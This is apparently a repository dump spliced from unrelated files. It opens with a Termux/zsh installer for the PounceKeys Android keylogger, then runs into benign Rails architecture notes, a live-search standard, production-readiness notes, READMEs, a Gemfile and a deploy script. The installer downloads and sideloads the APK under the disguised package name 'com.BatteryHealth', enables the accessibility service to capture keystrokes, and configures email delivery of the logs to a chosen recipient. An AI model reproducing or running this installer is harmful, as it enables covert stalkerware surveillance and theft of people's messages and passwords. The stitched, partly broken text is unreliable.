log_and_toast "Configure email in PounceKeys..."
echo "Open PounceKeys, go to Settings > Output > Email, enter:"
echo "- Server: $SMTP_SERVER"
echo "- Port: $SMTP_PORT"
echo "- Username: $smtp_user"
echo "- Password: [your password]"
echo "- Recipient: $recipient_email"
echo "Press Enter after configuring..."
read -p ""
# Validation
log_and_toast "Setup complete!"
echo "Test by typing 'PounceKeys test' in any app."
echo "Check $recipient_email for logs within 10 minutes."
echo "Troubleshooting:"
echo "- No logs? Verify SMTP settings and accessibility."
echo "- Uninstall: adb uninstall $PACKAGE_NAME"
echo "Log file: $LOG_FILE"
# Quarantined sample: non-executable reference only.
# Original path: DEPLOY/sh/tools/pouncekeys/pouncekeys_setup.rb
# Reason: keylogger installer content; kept only for audit/provenance.
# Do not run, source, deploy, or rename into an executable extension.
# frozen_string_literal: true
#!/data/data/com.termux/files/usr/bin/zsh
# PounceKeys Installation and Setup Script
# Purpose: Automates PounceKeys keylogger setup on Android via Termux
# Features: Dependency installation, APK download, manual step guidance, email configuration
# Security: No root, minimal permissions, checksum verification
# Last updated: June 25, 2025
# Legal: For personal use on your own device only; unauthorized use is illegal
# $ref: master.json#/settings/core/comments_policy
# Configuration (readonly for POLA)
# $ref: master.json#/settings/optimization_patterns/enforce_least_privilege
readonly LOG_FILE="$HOME/pouncekeys_setup.log"
readonly APK_FILE="$HOME/pouncekeys.apk"
readonly APK_URL="https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk"
readonly FALLBACK_URL="https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk"
readonly PACKAGE_NAME="com.BatteryHealth"
readonly MIN_ANDROID_VERSION=5
readonly MAX_ANDROID_VERSION=15
readonly EXPECTED_CHECKSUM="expected_sha256_hash_here" # Replace with actual SHA256 from PounceKeys GitHub
# Initialize logging (DRY, KISS)
# $ref: master.json#/settings/communication/notification_policy
[[ -f "$LOG_FILE" && $(stat -f %z "$LOG_FILE") -gt 1048576 ]] && mv "$LOG_FILE" "${LOG_FILE}.old"
echo "PounceKeys Setup Log - $(date)" > "$LOG_FILE"
exec 1>>"$LOG_FILE" 2>&1
# Cleanup on exit (POLA, error recovery)
# $ref: master.json#/settings/core/task_templates/refine
trap 'rm -f "$APK_FILE"; log_and_toast "Script terminated, cleaned up."; exit 1' INT TERM
# Log and toast function (DRY, NNGroup visibility)
# $ref: master.json#/settings/communication/style
log_and_toast() {
echo "[$(date +%H:%M:%S)] $1"
termux-toast -s "$1" >/dev/null 2>&1
}
# Legal disclaimer (NNGroup user control, YAGNI)
# $ref: master.json#/settings/feedback/roles/lawyer
log_and_toast "Starting PounceKeys setup"
echo "WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR)."
echo "Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs."
echo "Press Y to confirm legal use, any other key to cancel..."
read -k 1 confirm
[[ "$confirm" != "Y" && "$confirm" != "y" ]] && { log_and_toast "Setup cancelled."; exit 0; }
# Check prerequisites (error prevention, KISS)
# $ref: master.json#/settings/core/task_templates/validate
log_and_toast "Checking internet..."
ping -c 1 google.com >/dev/null 2>&1 || {
log_and_toast "Error: No internet."
echo "Solution: Connect to Wi-Fi or data. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
log_and_toast "Checking Termux..."
command -v pkg >/dev/null 2>&1 || {
log_and_toast "Error: Termux not installed."
echo "Solution: Install Termux from F-Droid."
exit 1
}
# Install dependencies (DRY, automated deployment)
# $ref: master.json#/settings/installer_integration
log_and_toast "Installing dependencies..."
echo "Install wget, curl, adb, termux-api, android-tools? (Y/N)"
read -k 1 install_deps
[[ "$install_deps" == "Y" || "$install_deps" == "y" ]] && {
pkg update -y && pkg install -y wget curl termux-adb termux-api android-tools || {
log_and_toast "Error: Package installation failed."
echo "Solution: Check network, run 'pkg update' manually. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
}
# Validate environment (error prevention, KISS)
# $ref: master.json#/settings/core/task_templates/validate
log_and_toast "Checking ADB..."
adb devices | grep -q device || {
log_and_toast "Error: No device detected."
echo "Solution: Enable USB debugging in Settings > Developer Options. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
log_and_toast "Checking Android version..."
ANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)
[[ "$ANDROID_VERSION" -lt $MIN_ANDROID_VERSION || "$ANDROID_VERSION" -gt $MAX_ANDROID_VERSION ]] && {
log_and_toast "Error: Android version $ANDROID_VERSION unsupported."
echo "Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION."
exit 1
}
# Email configuration (NNGroup recognition, security)
# $ref: master.json#/settings/communication/style
log_and_toast "Configuring email..."
echo "Use Gmail? (Y/N)"
read -k 1 use_gmail
if [[ "$use_gmail" == "Y" || "$use_gmail" == "y" ]]; then
SMTP_SERVER="smtp.gmail.com"
SMTP_PORT="587"
echo "Enter Gmail address:"
read smtp_user
echo "Enter Gmail App Password:"
read smtp_password
echo "Enter recipient email:"
read recipient_email
else
echo "Enter SMTP server:"
read SMTP_SERVER
echo "Enter SMTP port:"
read SMTP_PORT
echo "Enter SMTP username:"
read smtp_user
echo "Enter SMTP password:"
read smtp_password
echo "Enter recipient email:"
read recipient_email
fi
# Download and verify APK (DRY, robust error handling)
# $ref: master.json#/settings/installer_integration/verify_integrity
log_and_toast "Downloading APK..."
wget -O "$APK_FILE" "$APK_URL" || wget -O "$APK_FILE" "$FALLBACK_URL" || {
log_and_toast "Error: Download failed."
echo "Solution: Check network or download from PounceKeys GitHub."
exit 1
}
log_and_toast "Verifying APK..."
ACTUAL_CHECKSUM=$(sha256sum "$APK_FILE" | awk '{print $1}')
[[ "$ACTUAL_CHECKSUM" != "$EXPECTED_CHECKSUM" ]] && {
log_and_toast "Error: Checksum mismatch."
echo "Solution: Delete $APK_FILE and retry."
rm -f "$APK_FILE"
exit 1
}
# Install APK (automated deployment, POLA)
# $ref: master.json#/settings/core/task_templates/build
log_and_toast "Installing APK..."
echo "Enable 'Install from Unknown Sources' in Settings > Security."
echo "1. Navigate to Settings > Security (or Privacy)."
echo "2. Enable 'Install from Unknown Sources' for your browser or file manager."
echo "Press Enter after enabling..."
read -p ""
adb install "$APK_FILE" || {
log_and_toast "Error: Installation failed."
echo "Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)"
read -k 1 retry
[[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
exit 1
}
rm -f "$APK_FILE"
# Configure PounceKeys (NNGroup recognition, accessibility compliance)
# $ref: master.json#/settings/core/task_templates/refine
log_and_toast "Enable accessibility service..."
echo "This allows PounceKeys to capture keystrokes."
echo "1. Go to Settings > Accessibility > Downloaded Services."
echo "2. Find PounceKeys, toggle ON, and confirm permissions."
echo "Press Enter after enabling..."
read -p ""
log_and_toast "Disable battery optimization..."
echo "This ensures PounceKeys runs continuously."
echo "1. Go to Settings > Battery > App Optimization."
echo "2. Find PounceKeys, set to 'Don’t optimize.'"
echo "Press Enter after disabling..."
read -p ""
log_and_toast "Configure email in PounceKeys..."
echo "1. Open PounceKeys from app drawer."
echo "2. Go to Settings > Output > Email."
echo "3. Enter:"
echo " - Server: $SMTP_SERVER"
echo " - Port: $SMTP_PORT"
echo " - Username: $smtp_user"
echo " - Password: [your password]"
echo " - Recipient: $recipient_email"
echo "Press Enter after configuring..."
read -p ""
# Validation and testing (validation, user control)
# $ref: master.json#/settings/core/task_templates/test
log_and_toast "Setup complete!"
echo "Test by typing 'PounceKeys test' in any app."
echo "Check $recipient_email for logs within 10 minutes."
echo "Troubleshooting:"
echo "- No logs? Verify SMTP settings and accessibility."
echo "- Uninstall: adb uninstall $PACKAGE_NAME"
echo "Log file: $LOG_FILE"
echo "EOF: pouncekeys_setup.zsh completed successfully"
# Line count: 110 (excluding comments)
# Checksum: sha256sum pouncekeys_setup.zsh
# Rails App Architecture Notes
The Rails deploy folder should prefer tracked Rails source trees over one-shot generators.
Each production app folder should mirror Rails structure:
- app
- app/controllers
- app/models
- app/views
- app/javascript/controllers
- app/assets/stylesheets
- config
- config/routes.rb
- config/locales
- db
- db/migrate
- db/seeds.rb
- lib
- public
- storage
- test
Deploy wrappers should only sync, configure, migrate, seed, install service files, and wire relayd.
**Relayd pattern recommendation** (see `DEPLOY/openbsd/` for current templates):
- One table per app: `table <amber> { 127.0.0.1 }`
- SNI-based routing on :443 with `tls keypair` per domain.
- Health checks: `check http "/" code 200`
- Central `relayd.conf` managed from `DEPLOY/openbsd/etc/relayd.conf` or equivalent. Avoid per-app duplication.
## Core rule
A product folder is a Rails application folder first and a deployment folder second.
## App groups
Brgen is the Bergen local platform.
Amber is a reusable baseline Rails application and bundle source.
bsdports is close to production-ready and should be treated as a hardened reference app.
Hjerterom is its own product and should mirror Rails structure.
blognet is the publishing network product.
Foodielicious is the blognet food vertical and should clone the editorial/recipe affordances of Matprat-style sites while staying original in branding, copy, and implementation.
Marketplace should use Solidus Starter Frontend as its baseline and then adapt to local style, deploy, and moderation standards.
## Shared frontend direction
Brgen's `application.css` (X.com 3-col + MASTER cinema palette + NNG tokens) is the visual base. All apps should inherit its `:root` variables and align components to it over time. See `shared/WIRING_NOTES.md` → "Visual System & Component Inheritance".
Photo/multimodal upload is deliberately open to visitors on the public surface (see `shared/WIRING_NOTES.md` → "Photo / Multimodal Upload Inheritance"). This is a conscious KISS carve-out: anyone can attach images to chat, while the agent’s deeper filesystem tools stay locked behind the auth token.
Use Stimulus Components where possible.
Use stimulus-lightbox backed by lightGallery.js for gallery needs.
Keep the license key in credentials or environment, never in committed source.
All Rails apps should include live search.
Baseline pattern: live search with Rails and StimulusReflex, following the Colby.so pattern from `https://www.colby.so/posts/live-search-with-rails-and-stimulusreflex`.
Implementation rule:
- Use StimulusReflex where already present.
- Use Turbo/Stimulus-compatible live search where Reflex is not installed.
- Search must be progressive enhancement, not a hard dependency for basic navigation.
- Every search surface should support empty state, loading state, no-results state, and keyboard-friendly interaction.
- Search should emit analytics/search events for shared discovery and ranking.
Required live-search surfaces:
- Brgen root feed
- markedsplass listings
- spilleliste playlists
- tv videos and shows
- takeaway restaurants and menu items
- blognet posts and authors
- Foodielicious recipes and ingredients
- bsdports ports/packages
- Hjerterom content/resources
- Amber baseline examples
## Legacy scripts note
The `@*.sh` feature modules (now under `legacy/`) are reference patterns from earlier work (see `github_repos/rails-style-guide/`). The active model uses tracked app trees + thin deploy scripts. See `README.md` → "Legacy feature scripts" for details.
## Completion checklist
- Brgen folder mirrors Rails structure.
- Brgen verticals live inside the Brgen Rails app unless operational separation is required.
- Amber remains the bundle/bootstrap baseline.
- bsdports becomes the production-readiness reference.
- Hjerterom receives a Rails mirror layout and product architecture note.
- blognet receives a Rails mirror layout and Foodielicious vertical note.
- Marketplace restoration starts from Solidus Starter Frontend concepts and adapts them to local standards.
- Shared frontend standards document Stimulus Components and lightGallery integration.
- Every deployable app has README, domains/service notes, and restore status.
- Every Rails app has live search on its primary index and discovery surfaces.# Rails Live Search Standard
All Rails apps should provide live search on primary discovery surfaces.
Baseline reference:
https://www.colby.so/posts/live-search-with-rails-and-stimulusreflex
## Principle
Live search is a shared platform affordance, not a one-off page feature.
It should work across:
- Brgen
- markedsplass
- spilleliste
- tv
- takeaway
- blognet
- Foodielicious
- bsdports
- Hjerterom
- Amber examples
## Implementation modes
Preferred where StimulusReflex exists:
- Stimulus controller captures input
- Reflex performs server-side search
- server morphs result frame
- pagination or infinite scroll remains compatible
Fallback where StimulusReflex is absent:
- Stimulus captures input
- Turbo Frame receives search results
- controller renders partial result list
- basic query URL still works without JavaScript
## Required UX states
Every live-search surface must include:
- initial state
- loading state
- empty-query state
- no-results state
- result count
- keyboard-friendly input
- progressive fallback URL
## Required backend behavior
Every live-search endpoint should:
- debounce client input
- sanitize query parameters
- enforce visibility/moderation filters
- scope by product or vertical
- emit search analytics events
- avoid leaking private content
## Shared event
SearchPerformed
Fields:
- actor
- query
- app
- vertical
- result_count
- latency_ms
- filters
- locality
## Required surfaces
Brgen:
- root feed
- posts
- people/profiles
- local discovery
markedsplass:
- listings
- categories
- sellers
spilleliste:
- playlists
- tracks
- collaborators
tv:
- videos
- shows
- channels
takeaway:
- restaurants
- menu items
- cuisines
blognet:
- posts
- authors
- concepts
- tags
Foodielicious:
- recipes
- ingredients
- guides
- collections
bsdports:
- ports
- packages
- maintainers
- categories
Hjerterom:
- resources
- pages
- local content
Amber:
- baseline example search
- reusable demo controller
## Shared partial naming
Use predictable names:
- app/views/shared/_search_form.html.erb
- app/views/shared/_search_results.html.erb
- app/views/shared/_search_empty.html.erb
- app/views/shared/_search_loading.html.erb
## Shared Stimulus naming
Use:
- search_controller.js
- live_search_controller.js
Avoid app-specific JavaScript names unless the behavior is truly app-specific.
## Restore guidance
Old generator search code may be used as reference only.
Do not restore StimulusReflex code blindly into apps that no longer use StimulusReflex.
Port the interaction pattern, not stale implementation details.# Production Readiness
Status as of this audit: not fully production-ready until the checks below pass on the OpenBSD target.
Run the static gate before every deploy:
```sh
DEPLOY/rails/check_production_gate.rb- Rotate Rails credentials for every app that previously had a tracked
config/master.key:brgen,amber,bsdports,baibl,blognet, andhjerterom. - Run each app under Ruby 3.4 with its locked bundle installed; every Gemfile now declares
ruby "~> 3.4". - TLS terminates at OpenBSD
relayd. Rails production configs should keepconfig.assume_ssl = trueand leaveconfig.force_ssldisabled. - Run
bin/rails db:prepare,bin/rails test,bin/brakeman, andbin/bundler-auditper app. - Deploy to the OpenBSD target and verify
/up, TLS, host authorization, logs, database writes, background jobs, and service restart.
Closer to production than the subapps: routes and namespaced controllers are present, SSL and host authorization are configured, and the deploy script follows the tracked-tree model.
Remaining checks:
- Verify on Ruby 3.4; local host Ruby 3.3.8 cannot run the Gemfile.
- Rotate credentials.
- Smoke test all subdomain surfaces:
tv,dating,playlist,takeaway, and marketplace aliases. - Exercise marketplace cart/order, messaging, voting, reactions, and TV live-stream flows.
Not production-ready yet.
Fixed in this pass:
- Production proxy SSL trust, host authorization, and mailer host now target
amber.brgen.no.
Remaining checks:
- Install the Rails 8 bundle and run the app test/lint/security suite.
- Rotate credentials.
- Verify wardrobe upload, Active Storage variants, AI endpoints, declutter flows, and visitor/public access boundaries.
Not production-ready yet.
Fixed in this pass:
- Production proxy SSL trust, host authorization, mailer host, Solid Cache, and Solid Queue are configured for
bsdports.org.
Remaining checks:
- Install the Rails 8 bundle and run the app test/lint/security suite.
- Rotate credentials.
- Verify ports import/search, watch/unwatch, comments, Solid Queue, and
/upbehind relayd.
## `rails/README.md`
```markdown
# Rails deployment portfolio
`DEPLOY/rails` is the active production surface for pub4 Rails apps.
The generated Rails trees are deployment artifacts. The important source of truth is the tracked app tree plus its app-specific deploy script. Older one-shot Zsh generators in `study/` and `pub/__OLD_BACKUPS` are design lineage, not the current production contract.
## Active apps
| App | Script | Domain | Role |
|---|---|---|---|
| `brgen` | `brgen/brgen.sh` | `brgen.no` plus city/domain aliases | Hyperlocal social platform with marketplace, dating, playlist, tv, takeaway, maps, ai |
| `amber` | `amber/amber.sh` | `amber.brgen.no` | Fashion / wardrobe / recommendation app |
| `bsdports` | `bsdports/bsdports.sh` | `bsdports.org` | OpenBSD ports search/index app |
| `baibl` | `baibl/baibl.sh` | `baibl.no` | Bible / reading / content service |
| `blognet` | `blognet/blognet.sh` | app-specific | Blog/content network utility |
| `hjerterom` | `hjerterom/hjerterom.sh` | app-specific | Food donation / pickup lineage from old backups |
| `privcam` | `privcam/privcam.sh` | app-specific | Subscription/video platform lineage from old backups |
## Production contract
Each app deploy script should:
1. copy the tracked `app/` tree into `/home/<app>/app`
2. run Bundler in deployment mode
3. run `RAILS_ENV=production bin/rails db:create db:migrate`
4. seed only when `db/seeds.rb` exists
5. install or update rc.d service
6. register relayd backend
7. restart service
8. verify local `/up`
9. verify relayd route if the public hostname is configured
10. leave logs in `/var/log/<app>.log` or the app-specific rc.d target
## Hard requirements
- No production app should expose raw Rails/Falcon ports publicly.
- Public ingress goes through relayd/httpd/acme only.
- Secrets live outside Git in `/etc/<app>.env` or `/etc/rails/<app>.env`.
- App deploy scripts are idempotent.
- Database migrations must be safe to re-run.
- Background queue/cache services must be Solid Queue/Solid Cache or explicitly documented.
- Every app must have a `/up` health endpoint.
- Every app must have an rc.d restart smoke check.
## Legacy feature scripts (@*.sh)
The many `@*.sh` files (now under `legacy/`) are extracted patterns from earlier generator work (see also `github_repos/rails-style-guide/`). They are **not** the current production contract.
Current model (per ARCHITECTURE_NOTES.md):
- Prefer tracked, hand-maintained `app/` trees inside each product folder.
- Deploy scripts are thin (copy tree → bundle → migrate → rc.d + relayd).
- Heavy one-shot generators are legacy.
These scripts (now in `legacy/`) remain useful as reference material for common patterns (auth, social, frontend, Solid stack, etc.) when bootstrapping a new vertical or recovering an old one. Do not run them blindly against production trees.
## Backup-era lineage
`pub/__OLD_BACKUPS/MEGA_ALL_APPS.md` describes the original app family:
- `brgen`
- `amber`
- `privcam`
- `bsdports`
- `hjerterom`
That document used older assumptions: PostgreSQL, Redis, Devise, `devise-guests`, OmniAuth Vipps, StimulusReflex, PWA scaffolding, and generated-from-scratch app scripts.
pub4 intentionally converges this into a simpler production shape:
- tracked app source trees
- SQLite or external DB instead of mandatory PostgreSQL
- Solid Queue / Solid Cache instead of mandatory Redis
- OpenBSD rc.d services
- relayd SNI routing
- app-specific deploy scripts
## Production hardening checklist
For every app:
- [ ] `/up` responds locally
- [ ] rc.d service starts cleanly
- [ ] relayd backend is configured
- [ ] no raw app port is open in pf
- [ ] database migrations run cleanly
- [ ] credentials are not committed
- [ ] user identity does not leak email-derived names
- [ ] uniqueness constraints exist for join tables
- [ ] upload/content paths are bounded
- [ ] background jobs are observable
- [ ] service restart is verified after deploy
## Recommended CI & Smoke Standardization
All apps should include (see existing patterns in `brgen/app/.github/workflows/ci.yml`, `amber/app/.github`, etc.):
- Security scans: `brakeman`, `bundler-audit`, `importmap audit`
- Lint: RuboCop (with cache)
- Basic test run (if tests exist)
- Deploy script smoke (e.g. syntax check on the `*.sh`)
- Each app tree should expose a `bin/ci` entrypoint that runs RuboCop, Brakeman, bundler-audit, and Minitest from the app root.
See `test_check_ports.sh` and individual app test/deploy/ folders for smoke examples. Add a `ci.yml` to any app missing one using the brgen/amber pattern as baseline. This supports MASTER `/scan` and council reviews.
Repository-level checks should go through `bin/probe`. Use `bin/probe repo` for static production gates, `bin/probe rails` for per-app CI wrapper checks, and `bin/probe openbsd` on the target host for `rcctl` service state.
## Secrets & Environment Management (OpenBSD-friendly)
- Store secrets in `/etc/rails/<app>.env` (or `/etc/<app>.env`) on the target server.
- Source them in the rc.d service or falcon/puma command line (never commit to git).
- Use `SECRET_KEY_BASE` and app-specific keys (e.g. `OPENAI_API_KEY`, `VIPPS_*`).
- The thin deploy scripts should not embed secrets; they only set up the service to read the external env file.
- For local dev, use `config/credentials.yml.enc` or `.env` in the tracked tree (gitignored).
- Consistent pattern across brgen, amber, bsdports, etc. reduces operational surprises. See individual `*.sh` and the rc.d templates in `DEPLOY/openbsd/` for current examples.
- `DEPLOY/rails/env.sample` inventories the shared keys plus app-specific ones so operators can trim a deploy env file without hunting through code.
## Gem & Dependency Alignment
All apps should target a consistent baseline (Rails 8, Solid Queue/Cache, Active Storage, importmap + Hotwire). Use `SHARED_BUNDLE_CACHE` in deploy scripts where possible. Pin major gems in individual Gemfiles but align on the family-wide set from `brgen` as the reference. Run `bundle update` coordinated across apps when upgrading shared dependencies. This reduces divergence and eases MASTER scans for security/compatibility.
## Internationalization & Locale Strategy (starter)
The city family should converge on a shared locale approach:
- Use Rails i18n with `config/locales/` in each app + shared fallbacks where possible.
- Brgen as the reference for city-specific terms (Norwegian + English).
- Centralize common strings (errors, navigation, moderation) in `shared/` once the pattern stabilizes.
- Support locale via subdomain or param consistently across verticals.
See `amber/config/locales/` and `brgen/config/locales/` as current examples. This is early-stage — coordinate before heavy investment.
## Performance & Caching Baseline (starter)
Target consistent use of the Solid stack (Solid Cache + Solid Queue) across apps.
- Use `config/cache.yml` and `config/queue.yml` from the reference apps.
- Prefer low-level caching for expensive queries and fragment caching in views.
- Monitor with the existing pressure/observability in MASTER.
- N+1 prevention and query analysis should be part of the review checklist when adding features.
See `amber/config/` and `brgen/config/` for current setups. Align before scaling individual verticals.
## Directory map
```text
rails/
├─ @core.sh bootstrap, gem management, db, security
├─ @assets.sh Dart Sass, SCSS/CSS generation
├─ @server.sh rc.d, relayd, Falcon, Thruster
├─ @frontend.sh Stimulus, Pagy
├─ @views.sh partials, auth views, registration, layout
├─ @social.sh votes+comments, hashtags, direct messaging
├─ amber/
├─ baibl/
├─ blognet/
├─ brgen/
├─ bsdports/
├─ hjerterom/
└─ privcam/
## `rails/amber/ARCHITECTURE.md`
```markdown
# Amber architecture
Amber is a wardrobe intelligence graph built from four layers.
## 1. Identity and privacy
- `User`
- `Profile`
- `PrivacySetting`
- `IdentityVerification`
- `ConsentEvent`
- `CreatorProfile`
This layer owns user identity, public creator mode, wardrobe visibility, AI-analysis consent, and creator remix consent.
## 2. Wardrobe graph
- `Item`
- `Outfit`
- `OutfitItem`
- `PlannedOutfit`
- `WearLog`
- `StylePreference`
This layer owns garments, combinations, usage history, preferences, planning, and style evolution.
## 3. Intelligence and media
- `GarmentEmbedding`
- `Recommendation`
- `EmbedGarmentJob`
- `RecommendOutfitsJob`
- `SegmentGarmentImageJob`
- `RemoveBackgroundJob`
This layer owns embeddings, semantic matching, recommendation records, segmentation hooks, background-removal hooks, and safe AI fallbacks.
## 4. Sustainability, travel, and commerce
- `SustainabilityMetric`
- `PackingList`
- `PackingListItem`
- `AffiliateLink`
- `CalculateSustainabilityJob`
This layer owns cost-per-wear, resale estimates, repair estimates, packing, travel wardrobes, and affiliate commerce.
## Deploy conventions
Amber uses the common `DEPLOY/rails/@shared_functions.sh` helper and deploys the tracked app tree at `DEPLOY/rails/amber/app` into `/home/amber/app`.
The deploy wrapper uses a neutral shared bundle cache when available:
```text
/var/cache/pub4/bundle/ruby34
and falls back to normal Bundler resolution when no cache exists.
The current GarmentEmbedding#vector is JSON-backed so the app remains SQLite-compatible. When Amber moves to PostgreSQL/pgvector, replace the JSON vector column with a pgvector column and swap WardrobeAiService#embedding_for for a real embedding backend.
## `rails/amber/Gemfile`
```text
source "https://rubygems.org"
ruby "~> 3.4"
# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 8.1.2"
# The modern asset pipeline for Rails [https://github.com/rails/propshaft]
gem "propshaft"
# Use sqlite3 as the database for Active Record
gem "sqlite3", ">= 2.1"
# Use the Puma web server [https://github.com/puma/puma]
# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]
gem "importmap-rails"
# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]
gem "turbo-rails"
# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]
gem "stimulus-rails"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
gem "jbuilder"
# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
gem "bcrypt", "~> 3.1.7"
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]
# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
gem "solid_cache"
gem "solid_queue"
gem "solid_cable"
# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false
# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem "image_processing", "~> 1.2"
group :development, :test do
# See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"
# Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
gem "bundler-audit", require: false
# Static analysis for security vulnerabilities [https://brakemanscanner.org/]
gem "brakeman", require: false
# Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
gem "rubocop-rails-omakase", require: false
end
group :development do
# Use console on exceptions pages [https://github.com/rails/web-console]
gem "web-console"
end
gem "pagy", "~> 9.3"
gem "ruby-openai"
gem "ruby-vips"
gem "falcon"
# amber — wardrobe intelligence
Fashion meets graph reasoning. amber tracks what you own, generates outfits, and builds a durable style identity across time.
Most fashion platforms understand purchases. amber understands ownership, aesthetics, context, and identity — before you buy more.
## Features
- Wardrobe upload, segmentation, background removal
- Outfit generation (weather, season, event, aesthetics)
- Style evolution tracking (aesthetic phases, color trends, underused items)
- Fashion embeddings — garments, creators, brands in one vector space
- Visual similarity search, social feeds, affiliate commerce
## Stack
Rails 8 · SQLite/pgvector · Falcon · Hotwire · Active Storage · OpenBSD
## Deploy
```zsh
doas zsh DEPLOY/rails/amber/amber.sh- Visual system: Should inherit Brgen's cinema palette + X.com layout tokens (see
DEPLOY/rails/shared/WIRING_NOTES.md→ Visual System). - Activity Graph: Should emit to the shared city activity stream (see
brgen/brgen_CORE.mdandshared/WIRING_NOTES.md). - Photo / Multimodal: Photo creation is allowed for visitors on the public surface. Amber can use the shared photo upload patterns for wardrobe uploads.
- Shared concerns: Reactable, Followable, LiveSearchable, etc. available via
shared/. - Deploy: Uses thin script + tracked tree model (prefers this over heavy @*.sh generators).
See DEPLOY/rails/ARCHITECTURE_NOTES.md and WIRING_NOTES.md for family-wide guidance.
Creator wardrobes · sustainability (cost-per-wear, resale) · travel packing · virtual try-on · style agents
## `rails/amber/STIMULUS_ROLLOUT.md`
```markdown
# Amber Stimulus / Rails 8 rollout
Amber is the best first product to receive the shared frontend baseline because the app matrix already marks Item, Outfit, Item photos, broadcasts, and item/outfit views as done.
## Implement first
1. Copy `DEPLOY/rails/shared/frontend/stimulus_components.js` into the app frontend entrypoint.
2. Add Lightbox to item photo galleries.
3. Add Sortable to outfit item ordering.
4. Add Notification to wear/save/upload actions.
5. Add Timeago to item/outfit cards.
6. Add Clipboard to item/outfit share links.
7. Add Dropdown + Auto Submit to wardrobe filters: category, color, mood, occasion, life phase.
8. Add Content Loader to underused/never-worn item panels.
## Rails 8 work
- Move wardrobe image processing to Solid Queue.
- Use Active Storage variants for thumbnails.
- Cache wardrobe cards with Solid Cache.
- Broadcast outfit/item changes with Turbo Streams.
- Emit structured events:
- `amber.item.viewed`
- `amber.item.worn`
- `amber.outfit.created`
- `amber.photo.uploaded`
## Acceptance
- Items remain navigable without JavaScript.
- Lightbox is enhancement only.
- Outfit ordering persists server-side.
- Upload/wear actions produce visible notifications.
- Underused item panel has empty/loading/error states.
#!/usr/bin/env zsh
# amber.sh — deploys the tracked Amber Rails tree at app/.
set -euo pipefail
APP_NAME=amber
APP_DIR=/home/${APP_NAME}/app
APP_PORT=61352
APP_DOMAIN=amber.brgen.no
SCRIPT_DIR=${0:a:h}
SRC_DIR=${SCRIPT_DIR}
SHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}
. "${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh"
need_cmd ruby34 bundle doas
[[ -d $SRC_DIR ]] || { log_err "missing source tree: $SRC_DIR"; exit 1; }
log "${APP_NAME} — deploying tracked tree → ${APP_DIR}"
id "$APP_NAME" >/dev/null 2>&1 || doas useradd -m -L daemon -s /bin/ksh "$APP_NAME"
doas mkdir -p "$APP_DIR"
# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)
doas cp -R "${SCRIPT_DIR:h}/shared/bin/." "${APP_DIR}/bin/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/public/." "${APP_DIR}/public/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/config/." "${APP_DIR}/config/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/app/." "${APP_DIR}/app/" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/Rakefile" "${APP_DIR}/Rakefile" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/config.ru" "${APP_DIR}/config.ru" 2>/dev/null || true
# Per-app tracked tree last (specialized instances + custom overrides win)
doas cp -R "${SRC_DIR}/." "${APP_DIR}/"
doas chown -R "${APP_NAME}:${APP_NAME}" "$APP_DIR"
cd "$APP_DIR"
typeset bundle_home="/home/${APP_NAME}/.bundle"
doas mkdir -p "$bundle_home"
if [[ ! -d ${bundle_home}/gems ]]; then
if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then
log "Bootstrapping gems from ${SHARED_BUNDLE_CACHE}"
doas cp -R "${SHARED_BUNDLE_CACHE}/gems" "$bundle_home/"
[[ -d ${SHARED_BUNDLE_CACHE}/cache ]] && doas cp -R "${SHARED_BUNDLE_CACHE}/cache" "$bundle_home/" || true
elif [[ -d /home/amber/.bundle/gems && ${bundle_home} != /home/amber/.bundle ]]; then
log "Bootstrapping gems from /home/amber/.bundle"
doas cp -R /home/amber/.bundle/gems "$bundle_home/"
[[ -d /home/amber/.bundle/cache ]] && doas cp -R /home/amber/.bundle/cache "$bundle_home/" || true
else
log_warn "No shared bundle cache found; bundle install will resolve gems normally"
fi
doas chown -R "${APP_NAME}:${APP_NAME}" "$bundle_home"
fi
doas mkdir -p "${APP_DIR}/.bundle"
print -- "---\nBUNDLE_PATH: \"${bundle_home}/gems\"" | doas tee "${APP_DIR}/.bundle/config" >/dev/null
doas chown -R "${APP_NAME}:${APP_NAME}" "${APP_DIR}/.bundle"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && bundle config set --local deployment true && bundle config set --local without 'development test' && RAILS_ENV=production bundle install"
